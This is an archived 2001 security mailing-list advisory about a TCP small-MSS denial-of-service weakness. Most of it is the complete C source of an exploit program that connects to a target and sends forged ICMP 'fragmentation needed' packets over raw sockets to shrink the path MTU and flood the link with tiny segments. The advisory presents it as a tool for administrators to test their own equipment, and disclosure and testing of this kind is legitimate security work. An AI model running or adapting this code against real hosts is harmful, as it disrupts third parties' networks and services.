---------- Forwarded message ----------
Date: Thu, 19 Jul 2001 15:11:00 -0700 (PDT)
From: [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Subject: [EXPL] Exploit Code Released for the Small MSS Denial of Service

The following security advisory is sent to the securiteam mailing list, and can be 
found at the SecuriTeam web site: http://www.securiteam.com


  Exploit Code Released for the Small MSS Denial of Service
------------------------------------------------------------------------


SUMMARY

Maximum Segment Size (MSS) value represents the largest chunk of data that
TCP will send to the other end. Since this is controlled by the initiating
socket (the computer that connected to the remote host), an attackers can
set the MSS size to a very small value. For example if an attacker sets
the value of MSS to 1, it will cause the remote host to send back a large
amount of packets with each containing just one byte of information (about
3989% overhead, 58876 bytes sent back, for 1436 bytes of data requested).

The following is an exploit code that allows administrators to test their
equipment and software for the mentioned vulnerability.

See more information about this vulnerability in our previous post:
 <http://www.securiteam.com/securitynews/5OP012A4UK.html> New DoS:
Creating Small Packets Causes a Large Overhead.

DETAILS

Exploit:
/*
 * (C)Copyright 2001 Darren Reed.
 *
 * maxseg.c
 */
#include <sys/types.h>
#include <sys/param.h>
#include <sys/socket.h>
#if BSD >= 199306
#include <sys/sysctl.h>
#endif

#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip_var.h>
#include <netinet/tcp.h>
#include <netinet/tcp_timer.h>
#include <netinet/tcp_var.h>

#include <time.h>
#include <fcntl.h>
#include <errno.h>

void prepare_icmp(struct sockaddr_in *);
void primedefaultmss(int, int);
u_short in_cksum(u_short *, int);
int icmp_unreach(struct sockaddr_in *, struct sockaddr_in *);


#define NEW_MSS 512
#define NEW_MTU 1500
static int start_mtu = NEW_MTU;

void primedefaultmss(fd, mss)
int fd, mss;
{
#ifdef __NetBSD__
static int defaultmss = 0;
int mib[4], msso, mssn;
size_t olen;

if (mss == 0)
mss = defaultmss;
mssn = mss;
olen = sizeof(msso);

mib[0] = CTL_NET;
mib[1] = AF_INET;
mib[2] = IPPROTO_TCP;
mib[3] = TCPCTL_MSSDFLT;
if (sysctl(mib, 4, &msso, &olen, NULL, 0))
err(1, "sysctl");
if (defaultmss == 0)
defaultmss = msso;

if (sysctl(mib, 4, 0, NULL, &mssn, sizeof(mssn)))
err(1, "sysctl");

if (sysctl(mib, 4, &mssn, &olen, NULL, 0))
err(1, "sysctl");

printf("Default MSS: old %d new %d\n", msso, mssn);
#endif

#if HACKED_KERNEL
int opt;

if (mss)
op = mss;
else
op = 512;
if (setsockopt(fd, IPPROTO_TCP, TCP_MAXSEG+1, (char *)&op, sizeof(op)))
err(1, "setsockopt");
#endif
}


int
main(int argc, char *argv[])
{
struct sockaddr_in me, them;
int fd, op, olen, mss;
char prebuf[16374];
time_t now1, now2;
struct timeval tv;

mss = NEW_MSS;

primedefaultmss(-1, mss);

fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd == -1)
err(1, "socket");

memset((char *)&them, 0, sizeof(me));
them.sin_family = AF_INET;
them.sin_port = ntohs(atoi(argv[2]));
them.sin_addr.s_addr = inet_addr(argv[1]);

primedefaultmss(fd, mss);

op = fcntl(fd, F_GETFL, 0);
if (op != -1) {
op |= O_NONBLOCK;
fcntl(fd, F_SETFL, op);
}

op = 1;
(void) setsockopt(fd, SOL_SOCKET, TCP_NODELAY, &op, sizeof(op));

if (connect(fd, (struct sockaddr *)&them, sizeof(them)) &&
    (errno != EINPROGRESS))
err(1, "connect");

olen = sizeof(op);
if (!getsockopt(fd, IPPROTO_TCP, TCP_MAXSEG, (char *)&op, &olen))
printf("Remote mss %d\n", op);
else
err(1, "getsockopt");

#if HACKED_KERNEL
olen = sizeof(op);
if (!getsockopt(fd, IPPROTO_TCP, TCP_MAXSEG+1, (char *)&op, &olen))
printf("Our mss %d\n", op);
else
err(1, "getsockopt(+1)");
#endif

olen = sizeof(me);
if (getsockname(fd, (struct sockaddr *)&me, &olen))
err(1, "getsockname");

(void) read(fd, prebuf, sizeof(prebuf));

now1 = time(NULL);
for (op = 2; op; op--) {
icmp_unreach(&me, &them);
olen = read(fd, prebuf, sizeof(prebuf));
if (olen == -1) {
if (errno == ENOBUFS || errno == EAGAIN ||
    errno == EWOULDBLOCK) {
tv.tv_sec = 0;
tv.tv_usec = 10000;
select(3, NULL, NULL, NULL, &tv);
continue;
}
warn("read");
break;
}
}
now2 = time(NULL);
printf("Elapsed time %d\n", now2 - now1);

primedefaultmss(fd, 0);
close(fd);
return 0;
}


/*
 * in_cksum() & icmp_unreach() ripped from nuke.c prior to modifying
 */
static char icmpbuf[256];
static int icmpsock = -1;
static struct sockaddr_in destsock;

void
prepare_icmp(dst)
struct sockaddr_in *dst;
{
struct tcphdr *tcp;
struct icmp *icmp;

icmp = (struct icmp *)icmpbuf;

if (icmpsock == -1) {

memset((char *)&destsock, 0, sizeof(destsock));
destsock.sin_family = AF_INET;
destsock.sin_addr = dst->sin_addr;

srand(getpid());

icmpsock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (icmpsock == -1)
err(1, "socket");

/* the following messy stuff from Adam Glass (icmpsquish.c) */
memset(icmp, 0, sizeof(struct icmp) + 8);
icmp->icmp_type = ICMP_UNREACH;
icmp->icmp_code = ICMP_UNREACH_NEEDFRAG;
icmp->icmp_pmvoid = 0;

icmp->icmp_ip.ip_v = IPVERSION;
icmp->icmp_ip.ip_hl = 5;
icmp->icmp_ip.ip_len = htons(NEW_MSS);
icmp->icmp_ip.ip_p = IPPROTO_TCP;
icmp->icmp_ip.ip_off = htons(IP_DF);
icmp->icmp_ip.ip_ttl = 11 + (rand() % 50);
icmp->icmp_ip.ip_id = rand() & 0xffff;

icmp->icmp_ip.ip_src = dst->sin_addr;

tcp = (struct tcphdr *)(&icmp->icmp_ip + 1);
tcp->th_sport = dst->sin_port;
}
icmp->icmp_nextmtu = htons(start_mtu);
icmp->icmp_cksum = 0;
}


u_short
in_cksum(addr, len)
u_short *addr;
int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;

    /*
     *  Our algorithm is simple, using a 32 bit accumulator (sum),
     *  we add sequential 16 bit words to it, and at the end, fold
     *  back all the carry bits from the top 16 bits into the lower
     *  16 bits.
     */
    while( nleft > 1 )  {
            sum += *w++;
            nleft -= 2;
    }

    /* mop up an odd byte, if necessary */
    if( nleft == 1 ) {
            *(u_char *)(&answer) = *(u_char *)w ;
            sum += answer;
    }

    /*
     * add back carry outs from top 16 bits to low 16 bits
     */
    sum = (sum >> 16) + (sum & 0xffff);     /* add hi 16 to low 16 */
    sum += (sum >> 16);                     /* add carry */
    answer = ~sum;                          /* truncate to 16 bits */
    return (answer);
}

int icmp_unreach(src, dst)
struct sockaddr_in *src, *dst;
{
static int donecksum = 0;
struct sockaddr_in dest;
struct tcphdr *tcp;
struct icmp *icmp;
int i, rc;
u_short sum;

icmp = (struct icmp *)icmpbuf;

prepare_icmp(dst);

icmp->icmp_ip.ip_dst = src->sin_addr;

sum = in_cksum((u_short *)&icmp->icmp_ip, sizeof(struct ip));
icmp->icmp_ip.ip_sum = sum;

tcp = (struct tcphdr *)(&icmp->icmp_ip + 1);
tcp->th_dport = src->sin_port;

sum = in_cksum((u_short *)icmp, sizeof(struct icmp) + 8);
icmp->icmp_cksum = sum;
start_mtu /= 2;
if (start_mtu < 69)
start_mtu = 69;

i = sendto(icmpsock, icmpbuf, sizeof(struct icmp) + 8, 0,
   (struct sockaddr *)&destsock, sizeof(destsock));
if (i == -1 && errno != ENOBUFS && errno != EAGAIN &&
    errno != EWOULDBLOCK)
err(1, "sendto");
return(0);
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[EMAIL PROTECTED]>
Darren Reed.



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: 
[EMAIL PROTECTED]
In order to subscribe to the mailing list, simply forward this email to: 
[EMAIL PROTECTED]


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, 
incidental, consequential, loss of business profits or special damages.






Reply via email to